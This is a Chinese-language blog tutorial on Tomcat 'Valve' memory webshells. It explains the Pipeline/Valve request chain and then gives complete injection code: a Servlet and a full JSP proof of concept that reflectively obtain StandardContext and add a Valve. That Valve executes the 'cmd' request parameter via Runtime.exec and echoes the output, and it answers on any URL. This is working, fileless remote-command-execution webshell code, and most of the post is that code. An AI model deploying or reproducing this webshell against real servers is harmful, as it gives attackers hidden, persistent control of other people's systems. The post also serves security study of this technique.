内存马系列---Valve型

参考文章:

Valve 内存马与之前的三种内存马区别还是有点大的,之前内存马是放在 Web 请求之中的,Listener –> Filter –> Servlet 的流程,但是 Valve 内存马是在 Pipeline 之中的一个流程

Valve 是什么

在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制。

我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。

管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。

因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。

Pipeline 中会有一个最基础的 Valve,这个 Valve 也被称之为 basic,它始终位于末端(最后执行),它在业务上面的表现是封装了具体的请求处理和输出响应。

Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。这里的调用流程可以类比为Filter中的责任链机制
(我们可以在 Filter Chain 当中任意添加 Filter;那么 Valve 也就是可以在 Pipline 当中任意添加)

img

请求像水流一样依次经过管道(Pipeline)上的各个 Valve(阀门),最后被末端的基础 Valve 处理并返回响应。(上图的 basic 就是在前文中提到的最基础的 Valve)

例如:

image-20260414161828977

这是获取 HTTP 请求的阶段,也就是这个里面,我们获取到了 Pipeline,并且能够很清楚的看到 Pipeline 里面有一个 basic;这个 basic 所属的类是 StandardEngineValve

流程:

1
Connector -> Request -> Engine(Pipeline) -> Host(Pipeline) -> Context(Pipeline) -> Wrapper(Pipeline) -> Servlet

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。

流程分析

  • 我们先来看看Pipeline接口,继承了Contained接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public interface Pipeline extends Contained {
    
        public Valve getBasic();
    
        public void setBasic(Valve valve);
    
        public void addValve(Valve valve);
    
        public Valve[] getValves();
    
        public void removeValve(Valve valve);
    
        public Valve getFirst();
    
        public boolean isAsyncSupported();
    
        public void findNonAsyncValves(Set<String> result);
    }
  • Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()方法来添加一个Valve。下面我们再来看看Valve接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public interface Valve {
     
        public Valve getNext();//获取下一个Valve
     
        public void setNext(Valve valve);
     
        public void backgroundProcess();
     
        public void invoke(Request request, Response response)
            throws IOException, ServletException;
     
        public boolean isAsyncSupported();
    }

    Valve的调用过程按照顺序调用

    在 Tomcat 的设计中,invoke() 采用了责任链模式。当一个请求流经管道(Pipeline)时,Tomcat 会依次调用每个 Valve 的 invoke() 方法。

    img

    Valve可以通过重写invoke()方法来实现具体的业务逻辑

    1
    2
    3
    4
    5
    6
    7
    8
    class Shell_Valve extends ValveBase {
     
            @Override
            public void invoke(Request request, Response response) throws IOException, ServletException {
                ...
                }
            }
        }

下面我们通过源码看一看,消息在容器之间是如何传递的。

  • 首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中

image-20260414185551740

先走getService()获取了StandardService

image-20260414203627138

接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象。

再通过StandardPipeline.getFirst()获取第一个Valve(StandardEngineValve)

然后调用这个StandardEngineValve.invoke

image-20260414203922546

1
host.getPipeline().getFirst().invoke(request, response);

通过这个来实现调用后续的Valve、

动态添加Valve

  • Valve 可以被添加进 Pipeline 的流程之后,所以这里我们尝试实现一下。

    先实现基础的 Valve

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    package Value;
    
    import org.apache.catalina.connector.Request;
    import org.apache.catalina.connector.Response;
    import org.apache.catalina.valves.ValveBase;
    
    import javax.servlet.ServletException;
    import java.io.IOException;
    
    public class ValveTest extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            System.out.println("Valve 被成功调用");
        }
    }

    我们还需要通过 addValve() 方法把它添加进去,不然的话这个 Valve 肯定是白写的

  • 前面我们提到了在 Pipeline 接口当中存在 addValve() 方法我们可以通过这个方法把 Valve 添加进去

    addValve() 方法对应的实现类是 StandardPipeline,但是我们是无法直接获取到 StandardPipeline 的,所以这里去找一找 StandardContext 有没有获取到 StandardPipeline 的手段。

    image-20260414204522401

  • 搜索Pipeline()刚好有getPipeline()

    进去看看

    image-20260414204609340

    这里写着 return 一个 Pipeline 类型的类,它是用来管理 Valves 的

    所以 standradContext.getPipeline 获取 StandardPipeline

  • 根据上文的分析我们能够总结出Valve型内存马的注入思路

    1. 获取StandardContext对象
    2. 通过StandardContext对象获取StandardPipeline
    3. 编写恶意Valve
    4. 通过StandardPipeline.addValve()动态添加Valve

问题:

我们的 Valve 是应该放到 Filter,Listener,还是 Servlet 里面???

其实哪个都可以。因为我们的主要目的都是为了得到StandardContext.getPipeline().addValve() 这一行代码。

但是,主要区别就是我们选取不同载体,获取StandardContext的难度不同 Servlet 最简单能让你用最少的代码把 Valve 挂上去。

而且我们挂载的层级不同,危害就不同(Valve 的威力,取决于你把它挂在哪个“容器”的管道(Pipeline)上。)

  • Engine 级:最高层。挂在这里,这台服务器上所有的域名、所有的网站都会被拦截。
  • Host 级:域名层。挂在这里,这个域名下的所有应用(比如 blog.com/app1 和 blog.com/app2)都会被拦截。
  • Context 级:应用层。挂在这里,只有当前的网站应用(比如 /app1)会被拦截。

所以综上:所以我们通过 Servlet 来加载。

Valve 内存马的EXP编写

java

  • 先定义一个 doGet() 方法,因为我们是发出 GET 请求的,通过 doGet() 方法获取到 request 对象。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    package Value;
    
    import org.apache.catalina.connector.Request;
    import org.apache.catalina.connector.Response;
    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.valves.ValveBase;
    
    import javax.servlet.ServletException;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.lang.reflect.Field;
    @javax.servlet.annotation.WebServlet("/inject") 
    
    
    public class ValveShell_Servlet extends HttpServlet {
    
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            try {
                // 1. 反射获取 StandardContext
                // 注意:RequestFacade -> Request -> StandardContext
                Field connectorReqField = req.getClass().getDeclaredField("request");
                connectorReqField.setAccessible(true);
                Request connectorReq = (Request) connectorReqField.get(req);
                StandardContext standardContext = (StandardContext) connectorReq.getContext();
    
                // 2. 注入 Valve
                standardContext.getPipeline().addValve(new ValveBase() {
                    @Override
                    public void invoke(Request request, Response response) throws IOException, ServletException {
                        String cmd = request.getParameter("cmd");
                        if (cmd != null && !cmd.isEmpty()) {
                            // 执行命令
                            byte[] result = new byte[1024];
                            Process process = Runtime.getRuntime().exec(cmd);
                            int len = process.getInputStream().read(result);
    
                            // 直接回显给浏览器
                            response.getWriter().write(new String(result, 0, len));
                            return; // 匹配到命令,处理完直接返回,不走后面的逻辑了
                        }
    
                        // 关键!!如果没有命令,必须把请求交给下一个 Valve
                        // 否则你的网站就挂了
                        getNext().invoke(request, response);
                    }
                });
    
                resp.getWriter().write("Inject Success! Try ?cmd=whoami");
            } catch (Exception e) {
                e.printStackTrace(); // 调试用,看看哪里报错
            }
        }
    }

    到我们 ValveBase 这个子类里面去,编写我们的恶意代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    package Value;
    
    import org.apache.catalina.connector.Request;
    import org.apache.catalina.connector.Response;
    import org.apache.catalina.valves.ValveBase;
    
    import javax.servlet.ServletException;
    import java.io.IOException;
    
    class ValveShell extends ValveBase {
    
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            System.out.println("111");
            try {
                Runtime.getRuntime().exec(request.getParameter("cmd"));
            } catch (Exception e) {
    
            }
        }
    }

    image-20260414212627332

    image-20260414212639316

jsp

  • 获取StandardPipeline对象

    1
    2
    3
    4
    5
    6
    7
    8
    <%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();
     
        Pipeline pipeline = standardContext.getPipeline();
    %>
  • 编写恶意Valve类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <%!
        class Shell_Valve extends ValveBase {
     
            @Override
            public void invoke(Request request, Response response) throws IOException, ServletException {
                String cmd = request.getParameter("cmd");
                if (cmd !=null){
                    try{
                        Runtime.getRuntime().exec(cmd);
                    }catch (IOException e){
                        e.printStackTrace();
                    }catch (NullPointerException n){
                        n.printStackTrace();
                    }
                }
            }
        }
    %>
  • 将恶意Valve添加进StandardPipeline

    1
    2
    3
    4
    <%
        Shell_Valve shell_valve = new Shell_Valve();
        pipeline.addValve(shell_valve);
    %>
  • 完整POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="org.apache.catalina.Pipeline" %>
    <%@ page import="org.apache.catalina.valves.ValveBase" %>
    <%@ page import="org.apache.catalina.connector.Response" %>
    <%@ page import="java.io.IOException" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    
    <%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();
    
        Pipeline pipeline = standardContext.getPipeline();
    %>
    
    <%!
        class Shell_Valve extends ValveBase {
            @Override
            public void invoke(Request request, Response response) throws IOException, ServletException {
                String cmd = request.getParameter("cmd");
                if (cmd != null && !cmd.isEmpty()) {
                    // 1. 执行命令并获取输出流
                    java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
    
                    // 2. 将结果直接写回 response
                    response.getWriter().write(output);
                    response.getWriter().flush();
    
                    // 3. 匹配到命令后直接 return,不再往下走(拦截)
                    return;
                }
                // 4. 重要!!如果没有 cmd 参数,必须交给下一个 Valve,否则网页会打不开
                getNext().invoke(request, response);
            }
        }
    %>
    
    <%
        Shell_Valve shell_valve = new Shell_Valve();
        pipeline.addValve(shell_valve);
    %>

    访问Valve.jsp

    image-20260414222246256

    image-20260414222741973

小结

感觉在学会 Servlet 内存马之后,看 Valve 内存马就比较简单了

总而言之,Valve 型内存马是基于 Servlet 内存马来实现的,但是在表现形式上面会稍微有一点区别,之前 Servlet 内存马,我们是写入了一个路径,但是 Valve 型内存马可以在 Servlet 被读取的过程中就直接被恶意触发。

前面我们的Valve 型内存马也添加了路径,这个路径不是因为 Valve 需要路径,而是因为你的 “运载工具”(Servlet ) 需要路径。

而且这个路径的本质意思是:

注入成功Valva内存马http://localhost:8080/secret_shell?cmd=whoami,secret_shell无论是什么,不存在也好,都会得到whoami

而Servlet得固定路径,如果你注册的是 /shell,那么只有访问 /shell 才会触发。访问 /secret_shell 时,Tomcat 在路由表里找不到对应的 Servlet,就会直接返回 404,你的马根本没机会运行。


内存马系列---Valve型
http://example.com/2026/04/24/内存马系列---Valve型/
作者
Piggy Sprint
发布于
2026年4月24日
许可协议